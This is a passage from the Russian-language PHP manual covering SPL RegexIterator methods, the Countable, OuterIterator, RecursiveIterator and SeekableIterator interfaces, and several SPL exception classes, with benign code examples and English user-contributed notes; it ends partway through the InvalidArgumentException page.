  • RegexIterator::getRegex — Возвращает строку текущего регулярного выражения
  • RegexIterator::setFlags — Установка флагов
  • RegexIterator::setMode — Установка режима работы
  • RegexIterator::setPregFlags — Задание флагов регулярного выражения

User Contributed Notes

chris dot snyder at totara dot com 06-Jan-2023 06:29
In case the difference between modes RegexIterator::MATCH and RegexIterator::GET_MATCH is not immediately clear:

MATCH will only return one value per matched element, as a string.

GET_MATCH will return as many values, per matched element, as there are sub-patterns. If there are sub-patterns, each iteration returns an indexed array with the full pattern match at 0 and each of the sub-pattern matches as another element.

If there are no sub-patterns, the behaviour of GET_MATCH is the same as MATCH.
jinmoku at hotmail dot com 10-Dec-2010 12:28
An exemple :

<?php
$a = new ArrayIterator(array('test1', 'test2', 'test3'));
$i = new RegexIterator($a, '/^(test)(\d+)/', RegexIterator::REPLACE);
$i->replacement = '$2:$1';

print_r(iterator_to_array($i));
/*
Array
(
    [0] => 1:test
    [1] => 2:test
    [2] => 3:test
)
*/
?>


Проверка соответствия регулярному выражению

  • « RegexIterator
  • RegexIterator::__construct »
  • PHP Manual
  • RegexIterator
  • Проверка соответствия регулярному выражению

RegexIterator::accept

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::accept — Проверка соответствия регулярному выражению

Описание

public RegexIterator::accept(): bool

Проверяет соответствие строки (string), которую вернул
метод RegexIterator::current()
(или RegexIterator::key(), если установлен флаг
RegexIterator::USE_KEY),
регулярному выражению.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если значение элемента соответствует регулярному выражению, false в противном случае.

Примеры

Пример #1 Пример использования RegexIterator::accept()

В этом примере будет осуществляться навигация только по тем элементам, значения которых соответствуют регулярному выражению.

<?php
$names = new ArrayIterator(array('Ann', 'Bob', 'Charlie', 'David'));
$filter = new RegexIterator($names, '/^[B-D]/');
foreach ($filter as $name) {
echo $name . PHP_EOL;
}
?>

Результат выполнения данного примера:

Bob
Charlie
David

Смотрите также

  • Константы RegexIterator
  • RegexIterator::setFlags() - Установка флагов

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса RegexIterator

  • « RegexIterator::accept
  • RegexIterator::getFlags »
  • PHP Manual
  • RegexIterator
  • Конструктор класса RegexIterator

RegexIterator::__construct

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::__construct — Конструктор класса RegexIterator

Описание

public RegexIterator::__construct(
Iterator $iterator,
string $pattern,
int $mode = RegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)

Создаёт новый объект класса RegexIterator, который фильтрует элементы итератора Iterator основываясь на регулярном выражении.

Список параметров

iterator

Итератор, к элементам которого требуется применить фильтр.

pattern

Регулярное выражение, на основе которого проводится отбор элементов.

mode

Режим работы. Список возможных режимов можно посмотреть в описании к методу RegexIterator::setMode().

flags

Специальные флаги. Список возможных флагов приведён в описании к методу RegexIterator::setFlags().

pregFlags

Флаги регулярного выражения. Список возможных флагов зависит от режима работы:

RegexIterator preg_flags
режим работы | доступные флаги
RegexIterator::ALL_MATCHES | Смотрите preg_match_all().
RegexIterator::GET_MATCH | Смотрите preg_match().
RegexIterator::MATCH | Смотрите preg_match().
RegexIterator::REPLACE | нет
RegexIterator::SPLIT | Смотрите preg_split().

Ошибки

Выбрасывает исключение InvalidArgumentException, если pattern задан некорректно.

Примеры

Пример #1 Пример использования RegexIterator::__construct()

Создаёт новый объект RegexIterator, который отбирает строки, начинающиеся со слова 'test'.

<?php
$arrayIterator = new ArrayIterator(array('test 1', 'another test', 'test 123'));
$regexIterator = new RegexIterator($arrayIterator, '/^test/');

foreach ($regexIterator as $value) {
echo $value . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

test 1
test 123

Смотрите также

  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • preg_match_all() - Выполняет глобальный поиск шаблона в строке
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_split() - Разбивает строку по регулярному выражению

User Contributed Notes

There are no user contributed notes for this page.


Получение флагов настройки

  • « RegexIterator::__construct
  • RegexIterator::getMode »
  • PHP Manual
  • RegexIterator
  • Получение флагов настройки

RegexIterator::getFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::getFlags — Получение флагов настройки

Описание

public RegexIterator::getFlags(): int

Возвращает флаги настройки. Список возможных флагов приведён в описании метода RegexIterator::setFlags().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает набор флагов.

Примеры

Пример #1 Пример использования RegexIterator::getFlags()

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

if ($regexIterator->getFlags() & RegexIterator::USE_KEY) {
echo 'Фильтрация на основе ключей массива.';
} else {
echo 'Фильтрация на основе значений массива.';
}
?>

Результат выполнения данного примера:

Фильтрация на основе ключей массива.

Смотрите также

  • RegexIterator::setFlags() - Установка флагов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает режим работы

  • « RegexIterator::getFlags
  • RegexIterator::getPregFlags »
  • PHP Manual
  • RegexIterator
  • Возвращает режим работы

RegexIterator::getMode

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::getMode — Возвращает режим работы

Описание

public RegexIterator::getMode(): int

Возвращает режим работы. Список возможных режимов приведён на странице RegexIterator::setMode().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает режим работы.

Примеры

Пример #1 Пример использования RegexIterator::getMode()

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^[a-z]+/', RegexIterator::GET_MATCH);

$mode = $regexIterator->getMode();
if ($mode & RegexIterator::GET_MATCH) {
echo 'Проверка соответствий для каждого элемента.';
} elseif ($mode & RegexIterator::ALL_MATCHES) {
echo 'Получение всех соответствий для каждого элемента.';
} elseif ($mode & RegexIterator::MATCH) {
echo 'Получение элементов, прошедших отбор.';
} elseif ($mode & RegexIterator::SPLIT) {
echo 'Получение отдельных частей каждого элемента.';
}
?>

Результат выполнения данного примера:

Проверка соответствий для каждого элемента.

Смотрите также

  • RegexIterator::setMode() - Установка режима работы

User Contributed Notes

There are no user contributed notes for this page.


Возвращает флаги регулярного выражения

  • « RegexIterator::getMode
  • RegexIterator::getRegex »
  • PHP Manual
  • RegexIterator
  • Возвращает флаги регулярного выражения

RegexIterator::getPregFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::getPregFlags — Возвращает флаги регулярного выражения

Описание

public RegexIterator::getPregFlags(): int

Возвращает флаги регулярного выражения. Список возможных флагов приведён в описании метода RegexIterator::__construct().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает битовую маску флагов регулярного выражения.

Примеры

Пример #1 Пример использования RegexIterator::getPregFlags()

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/\s/', RegexIterator::SPLIT);
$regexIterator->setPregFlags(PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

if ($regexIterator->getPregFlags() & PREG_SPLIT_NO_EMPTY) {
echo 'Не принимать во внимание пустые участки';
} else {
echo 'Рассматривать пустые участки';
}

?>

Результат выполнения данного примера:

Не принимать во внимание пустые участки

Смотрите также

  • RegexIterator::setPregFlags() - Задание флагов регулярного выражения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку текущего регулярного выражения

  • « RegexIterator::getPregFlags
  • RegexIterator::setFlags »
  • PHP Manual
  • RegexIterator
  • Возвращает строку текущего регулярного выражения

RegexIterator::getRegex

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RegexIterator::getRegex — Возвращает строку текущего регулярного выражения

Описание

public RegexIterator::getRegex(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установка флагов

  • « RegexIterator::getRegex
  • RegexIterator::setMode »
  • PHP Manual
  • RegexIterator
  • Установка флагов

RegexIterator::setFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::setFlags — Установка флагов

Описание

public RegexIterator::setFlags(int $flags): void

Задаёт флаги настройки.

Список параметров

flags

Флаги, битовая маска констант класса.

Ниже перечислены доступные флаги. Смысл и значения флагов описаны в разделе предопределённых констант.

Флаги RegexIterator
значение | константа
1 | RegexIterator::USE_KEY

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования RegexIterator::setFlags()

Создаёт новый объект-итератор, отбирающий элементы, ключи которых начинаются со слова 'test'.

<?php
$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

foreach ($regexIterator as $key => $value) {
echo $key . ' => ' . $value . "\n";
}
?>

Результат выполнения данного примера:

teststr2 => another test

Смотрите также

  • RegexIterator::getFlags() - Получение флагов настройки

User Contributed Notes

There are no user contributed notes for this page.


Установка режима работы

  • « RegexIterator::setFlags
  • RegexIterator::setPregFlags »
  • PHP Manual
  • RegexIterator
  • Установка режима работы

RegexIterator::setMode

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::setMode — Установка режима работы

Описание

public RegexIterator::setMode(int $mode): void

Задаёт режим работы.

Список параметров

mode

Режим работы.

Ниже перечислены возможные режимы. Смысл и значения режимов описаны в разделе предопределённых констант.

Режимы работы RegexIterator
значение | константа
0 | RegexIterator::MATCH
1 | RegexIterator::GET_MATCH
2 | RegexIterator::ALL_MATCHES
3 | RegexIterator::SPLIT
4 | RegexIterator::REPLACE

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования RegexIterator::setMode()

<?php
$test = array ('str1' => 'test 1', 'test str2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
// Отбор всех элементов, которые начинаются со слова 'test ', за которым идут числа
$regexIterator = new RegexIterator($arrayIterator, '/^test (\d+)/');
// Режим работы: Замена совпавших строк
$regexIterator->setMode(RegexIterator::GET_MATCH);

foreach ($regexIterator as $key => $value) {
// вывод совпавших чисел
echo $key . ' => ' . $value[1] . PHP_EOL;
}
?>

Результатом выполнения данного примера будет что-то подобное:

str1 => 1
str3 => 123

Смотрите также

  • RegexIterator::getMode() - Возвращает режим работы

User Contributed Notes

There are no user contributed notes for this page.


Задание флагов регулярного выражения

  • « RegexIterator::setMode
  • Интерфейсы »
  • PHP Manual
  • RegexIterator
  • Задание флагов регулярного выражения

RegexIterator::setPregFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RegexIterator::setPregFlags — Задание флагов регулярного выражения

Описание

public RegexIterator::setPregFlags(int $pregFlags): void

Устанавливает флаги регулярного выражения.

Список параметров

pregFlags

Флаги настройки регулярного выражения. Список возможных флагов приведён в описании метода RegexIterator::__construct().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования RegexIterator::setPregFlags()

Создаёт новый объект RegexIterator, отбирающий элементы массива, ключи которых начинаются со слова 'test'.

<?php
$test = array ('test 1', 'another test', 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/', RegexIterator::GET_MATCH);

$regexIterator->setPregFlags(PREG_OFFSET_CAPTURE);

foreach ($regexIterator as $key => $value) {
var_dump($value);
}
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}

Смотрите также

  • RegexIterator::getPregFlags() - Возвращает флаги регулярного выражения

User Contributed Notes

There are no user contributed notes for this page.


Интерфейсы

Содержание

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator

SPL обеспечивает набор интерфейсов.

Смотрите также Встроенные интерфейсы и классы

Список интерфейсов

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator
  • SplObserver
  • SplSubject

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Countable

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Классы, реализующие интерфейс Countable, могут быть использованы с функцией count().

Обзор интерфейсов

interface Countable {
/* Методы */
public count(): int
}

Содержание

  • Countable::count — Количество элементов объекта

User Contributed Notes

adam at adamhahn dot com 22-Mar-2017 07:02
When using GMP/BC/Floating-Point Numbers to work with integers larger than PHP_INT_MAX, be aware that using the count() function will typecast the returned value to an integer.

<?php
class counter implements Countable {
    public function count() {
        // Number of IPv6 addresses in a single /32 IPv6 allocation (2^96)
        return "18446744073709551616"; // assume generated/exported by big-int library(GMP/BC/etc.)
    }
}

$obj = new counter();

echo $obj->count(); // prints string "18446744073709551616"
echo count($obj);    // prints int PHP_INT_MAX

// This is because of the typecasting
echo (int) "18446744073709551616"; // prints int PHP_INT_MAX
?>

This will also cause problems for floating-point values.

<?php
class counter implements Countable {
    public function count() {
        // Number of IPv6 addresses in a single /32 IPv6 allocation (2^96)
        return 18446744073709551616;
    }
}

$obj = new counter();

echo $obj->count(); // prints float 18446744073709551616.000000
echo count($obj);    // prints int 0

// This is because of the typecasting
echo (int) 18446744073709551616; // prints int 0
?>

This is only problematic when counting higher than PHP_INT_MAX.
Anonymous 17-Jan-2011 06:10
Note that arrays don't implement countable. Therefore you can't force a countable parameter for a function if you want it also to work with native arrays.
isaac dot z dot foster dot nada at spamporfav dot gmail dot com 08-Jun-2010 01:18
I just want to point out that your class has to actually implement the Countable interface, not just define a count method, to be able to use count($object) and get the expected results. I.e. the first example below won't work as expected, the second will. (The normal arrow function accessor ($object->count()) will work fine, but that's not the kewl part :) )

<?php
//Example One, BAD :(

class CountMe
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "1", not as expected

//Example Two, GOOD :)

class CountMe implements Countable
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "3" as expected
?>


Количество элементов объекта

  • « Countable
  • OuterIterator »
  • PHP Manual
  • Countable
  • Количество элементов объекта

Countable::count

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Countable::count — Количество элементов объекта

Описание

public Countable::count(): int

Этот метод выполняется при использовании count() на объекте, реализующем интерфейс Countable.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Пользовательское значение типа int.

Замечание:

Возвращаемое значение приводится к типу int.

Примеры

Пример #1 Пример использования Countable::count()

<?php
class myCounter implements Countable {
private $count = 0;
public function count() {
return ++$this->count;
}
}

$counter = new myCounter;

for($i=0; $i<10; ++$i) {
echo "Я посчитан " . count($counter) . " раз\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Я посчитан 1 раз
Я посчитан 2 раз
Я посчитан 3 раз
Я посчитан 4 раз
Я посчитан 5 раз
Я посчитан 6 раз
Я посчитан 7 раз
Я посчитан 8 раз
Я посчитан 9 раз
Я посчитан 10 раз

User Contributed Notes

SenseException 10-Mar-2014 11:59
Even though Countable::count method is called when the object implementing Countable is used in count() function, the second parameter of count, $mode, has no influence to your class method.

$mode is not passed to  Countable::count:

<?php

class Foo implements Countable
{
    public function count()
    {
        var_dump(func_get_args());
        return 1;
    }
}

count(new Foo(), COUNT_RECURSIVE);

?>

var_dump output:

array(0) {
}


Интерфейс OuterIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Классы, реализующие OuterIterator, могут быть использованы для перебора итераторов.

Обзор интерфейсов

interface OuterIterator extends Iterator {
/* Методы */
public getInnerIterator(): ?Iterator
/* Наследуемые методы */
public Iterator::current(): mixed
public Iterator::key(): mixed
public Iterator::next(): void
public Iterator::rewind(): void
public Iterator::valid(): bool
}

Содержание

  • OuterIterator::getInnerIterator — Возвращает внутренний итератор для текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутренний итератор для текущего элемента

  • « OuterIterator
  • RecursiveIterator »
  • PHP Manual
  • OuterIterator
  • Возвращает внутренний итератор для текущего элемента

OuterIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

OuterIterator::getInnerIterator — Возвращает внутренний итератор для текущего элемента

Описание

public OuterIterator::getInnerIterator(): ?Iterator

Возвращает внутренний итератор для текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Внутренний итератор для текущего элемента, если он существует или null в противном случае.

User Contributed Notes

Sjakie Pruts 07-Aug-2019 12:49
The return type is merely documented here, it's not actually enforced. For instance, the IteratorIterator implementation can return Traversable, which would break the interface. Most likely, this is for backwards compatibility with code written before return type hints existed. It's still possible to create your own namespaced OuterIterator interface that extends the global one and add a typehint for this method in there.


Интерфейс RecursiveIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Классы, реализующие RecursiveIterator, могут быть использованы для рекурсивного перебора итераторов.

Обзор интерфейсов

interface RecursiveIterator extends Iterator {
/* Методы */
public getChildren(): ?RecursiveIterator
public hasChildren(): bool
/* Наследуемые методы */
public Iterator::current(): mixed
public Iterator::key(): mixed
public Iterator::next(): void
public Iterator::rewind(): void
public Iterator::valid(): bool
}

Содержание

  • RecursiveIterator::getChildren — Возвращает итератор для текущего элемента
  • RecursiveIterator::hasChildren — Определяет, можно ли для текущего элемента создать итератор

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итератор для текущего элемента

  • « RecursiveIterator
  • RecursiveIterator::hasChildren »
  • PHP Manual
  • RecursiveIterator
  • Возвращает итератор для текущего элемента

RecursiveIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIterator::getChildren — Возвращает итератор для текущего элемента

Описание

public RecursiveIterator::getChildren(): ?RecursiveIterator

Возвращает итератор для текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает итератор для текущей записи, если он существует или null в противном случае.

Смотрите также

  • RecursiveIterator::hasChildren() - Определяет, можно ли для текущего элемента создать итератор

User Contributed Notes

There are no user contributed notes for this page.


Определяет, можно ли для текущего элемента создать итератор

  • « RecursiveIterator::getChildren
  • SeekableIterator »
  • PHP Manual
  • RecursiveIterator
  • Определяет, можно ли для текущего элемента создать итератор

RecursiveIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIterator::hasChildren — Определяет, можно ли для текущего элемента создать итератор

Описание

public RecursiveIterator::hasChildren(): bool

Определяет, можно ли для текущего элемента создать итератор методом RecursiveIterator::getChildren().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если по текущему элементу можно осуществлять итерацию, false в противном случае.

Смотрите также

  • RecursiveIterator::getChildren() - Возвращает итератор для текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс SeekableIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Итератор Seekable.

Обзор интерфейсов

interface SeekableIterator extends Iterator {
/* Методы */
public seek(int $offset): void
/* Наследуемые методы */
public Iterator::current(): mixed
public Iterator::key(): mixed
public Iterator::next(): void
public Iterator::rewind(): void
public Iterator::valid(): bool
}

Пример #1 Простое использование

Этот пример демонстрирует создание пользовательского итератора SeekableIterator, который ищет позицию и обрабатывает недействительную позицию.

<?php
class MySeekableIterator implements SeekableIterator {

private $position;

private $array = array(
"первый элемент",
"второй элемент",
"третий элемент",
"четвёртый элемент"
);

/* Метод, требуемый для интерфейса SeekableIterator */

public function seek($position) {
if (!isset($this->array[$position])) {
throw new OutOfBoundsException("недействительная позиция ($position)");
}

$this->position = $position;
}

/* Методы, требуемые для интерфейса Iterator */

public function rewind() {
$this->position = 0;
}

public function current() {
return $this->array[$this->position];
}

public function key() {
return $this->position;
}

public function next() {
++$this->position;
}

public function valid() {
return isset($this->array[$this->position]);
}
}

try {

$it = new MySeekableIterator;
echo $it->current(), "\n";

$it->seek(2);
echo $it->current(), "\n";

$it->seek(1);
echo $it->current(), "\n";

$it->seek(10);

} catch (OutOfBoundsException $e) {
echo $e->getMessage();
}
?>

Результатом выполнения данного примера будет что-то подобное:

первый элемент
третий элемент
второй элемент
недействительная позиция (10)

Содержание

  • SeekableIterator::seek — Перемещается к позиции

User Contributed Notes

info at ensostudio dot ru 18-Jul-2022 07:30
Note: $offset parameter of SeekableIterator::seek()  is position in list, not array key.
<?php
$iterator = new ArrayIterator([1 => "apple", 2 => "banana", 3 => "cherry"]);
echo $iterator->offsetGet(2); // banana
$iterator->seek(2);
echo $iterator->current(); // cherry
?>
info at ensostudio dot ru 20-Oct-2020 07:20
Note: use array_key_exists instead isset!
<?php
public function seek($position)
{
    $position = (int) $position;
    if (! array_key_exists($position, array_values($this->array))) {
        throw new OutOfBoundsException('Invalid position to seek: ' . $position);
    }
    $this->position = $position;
}
?>
Anonymous 20-Oct-2013 12:43
The code above is missing a closing parenthesis.

<?php
if (!isset($this->array[$position]) {
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>

should be

<?php
if (!isset($this->array[$position])) { // close here
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>
svenr at selfhtml dot org 14-Nov-2011 04:21
Best method:

<?php

if ($object instanceof SeekableIterator) {
  echo "\$object has method seek()";
}

?>

Please, make use of checking if a particular interface has been implemented to assure that the object you are dealing with definately has the methods you are about to use.

This also works as typehinting:

<?php

class foo {
  public function doSomeSeeking(SeekableIterator $seekMe) {
    $seekMe->seek(10); // will work, otherwise Typehint triggers complaints
  }
}

?>
martin at smasty dot net 15-May-2011 08:01
The reflection approach:

<?php

$reflection = new ReflectionClass('MySeekableIterator');
if($reflection->hasMethod('seek'))
  echo "This class has method seek().";

?>
marcin dot kleczek at gmail dot com 15-Apr-2010 11:59
Better method:

<?php
            $class = 'SeekableIterator';
            $findingMethod = 'seek'; // have to be lower chars

            $methods = get_class_methods($class);

            foreach( $methods as $pVal )
                if ( $findingMethod == strtolower($pVal) ) {
                    echo 'This class has method seek().';
                    break;
                }

}

?>

Best method: http://php.net/manual/en/function.method-exists.php


Перемещается к позиции

  • « SeekableIterator
  • Исключения »
  • PHP Manual
  • SeekableIterator
  • Перемещается к позиции

SeekableIterator::seek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SeekableIterator::seek — Перемещается к позиции

Описание

public SeekableIterator::seek(int $offset): void

Перемещается к заданной позиции в итераторе.

Список параметров

offset

Позиция, к которой нужно переместиться.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Реализации должны выбрасывать исключение OutOfBoundsException, если offset недействительна.

Примеры

Пример #1 Пример использования SeekableIterator::seek()

Перемещение к элементу на 3-ей позиции в итераторе (ArrayIterator реализует SeekableIterator).

<?php
$array = array("яблоко", "банан", "вишня", "чернослив", "ягода бузины");
$iterator = new ArrayIterator($array);
$iterator->seek(3);
echo $iterator->current();
?>

Результатом выполнения данного примера будет что-то подобное:

чернослив

Смотрите также

  • SeekableIterator
  • Iterator

User Contributed Notes

There are no user contributed notes for this page.


Исключения

Содержание

  • BadFunctionCallException
  • BadMethodCallException
  • DomainException
  • InvalidArgumentException
  • LengthException
  • LogicException
  • OutOfBoundsException
  • OutOfRangeException
  • OverflowException
  • RangeException
  • RuntimeException
  • UnderflowException
  • UnexpectedValueException

SPL обеспечивает набор стандартных исключений.

Смотрите также Предопределённые исключения

Иерархия классов исключений SPL

  • LogicException (extends Exception)
    • BadFunctionCallException
      • BadMethodCallException
    • DomainException
    • InvalidArgumentException
    • LengthException
    • OutOfRangeException
  • RuntimeException (extends Exception)
    • OutOfBoundsException
    • OverflowException
    • RangeException
    • UnderflowException
    • UnexpectedValueException

User Contributed Notes

There are no user contributed notes for this page.


Класс BadFunctionCallException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Создаётся исключение, если callback-функция относится к неопределённой функции или если некоторые аргументы отсутствуют.

Обзор классов

class BadFunctionCallException extends LogicException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

evguenia dot chagnon at gmail dot com 26-Jan-2017 12:14
For example:

function foo($arg) {
    $func = 'do' . $arg;
    if (!is_callable($func)) {
        throw new BadFunctionCallException('Function ' . $func . ' is not callable');
    }
}
tom at tomwardrop dot com 15-Nov-2009 07:42
A typical use for this exception, is in conjunction with the is_callable() function.


Класс BadMethodCallException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Создаётся исключение, если callback-функция относится к неопределённому методу или если некоторые аргументы отсутствуют.

Обзор классов

class BadMethodCallException extends BadFunctionCallException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс DomainException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Создаётся исключение, если значение не соответствует определённой допустимой области данных.

Обзор классов

class DomainException extends LogicException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Cruiser 07-Dec-2017 10:02
Quote: "In data management and database analysis, a data domain refers to all the values which a data element may contain."

Source: https://en.wikipedia.org/wiki/Data_domain

This exception has confused me a bit, DataDomainException, or DataTypeException may have been more descriptive.
ja2016 at wir dot pl 31-Dec-2016 05:35
I think this kind of exception is perfect to throw when expected the  type of parameter, value etc. is good, but its value is out of domain. Look at RangeException:
>>Exception thrown to indicate range errors during program execution. Normally this means there was an arithmetic error other than under/overflow. This is the runtime version of DomainException.<<
So, this kind of exception is designed for logic error

When datatype is wrong, the better way is throwing InvalidArgumentException.

<?php
// Here, use InvalidArgumentException
function media($x) {
    switch ($x) {
        case image:
            return 'PNG';
        break;
        case video:
            return 'MP4';
        break;
        default:
            throw new InvalidArgumentException ("Invalid media type!");
    }
}?>
This is completly diffirent situation than this:
<?php
// Here, use DomainException
$object = new Library ();
try {
    $object->allocate($x);
} catch (toFewMin $e) {
    throw new DomainException ("Minimal value to allocate is too high").
}
?>
The simillar situation, but problem occurs during runtime:
<?php
class library {
    function allocate($x) {
        if ($x<1000)
            throw new RangeException ("Value is too low!")
    }
}
?>
Summary: DomainException corresponds to RangeException and we should use them in simillar situations.  But first exception is designed to use when we are sure the problem is with our project, third-part elements etc. (simply: logical error), the second way is designed to use when we are sure the problem is with input data or environment (simply: runtime error).
chmielewski dot thomas at gmail dot com 29-Aug-2014 10:45
<?php

function divide($divident, $divisor) {
    if(!is_numeric($divident) || !is_numeric($divisor)) {
        throw new InvalidArgumentException("Function accepts only numeric values");
    }
    if($divisor == 0) {
        throw new DomainException("Divisor must not be zero");
    }
    return $divident / $divisor;
}
mateusz dot charytoniuk at gmail dot com 20-Oct-2011 12:45
<?php
function renderImage($imageResource, $imageType)
{
  switch ($imageType) {
  case 'jpg':
  case 'jpeg':
    header('Content-type: image/jpeg');
    imagejpeg($imageResource);
    break;
  case 'png':
    header('Content-type: image/png');
    imagepng($imageResource);
    break;
  default:
    throw new DomainException('Unknown image type: ' . $imageType);
    break;
  }
  imagedestroy($imageResource);
}
?>


Класс InvalidArgumentException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Создаётся исключение, если аргумент не соответствует ожидаемому типу.

Обзор классов

class InvalidArgumentException extends LogicException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

Joey at anti-culture dot net 02-Feb-2011 09:08
In my opinion this exception is invaluable for validating arguments- for example providing strict typing a la C:

<?php
function tripleInteger($int)
{
  if(!is_int($int))
    throw new InvalidArgumentException('tripleInteger function only accepts integers. Input was: '.$int);
  return $int * 3;
}

$x = tripleInteger(4); //$x == 12
$x = tripleInteger(2.5); //exception will be thrown as 2.5 is a float
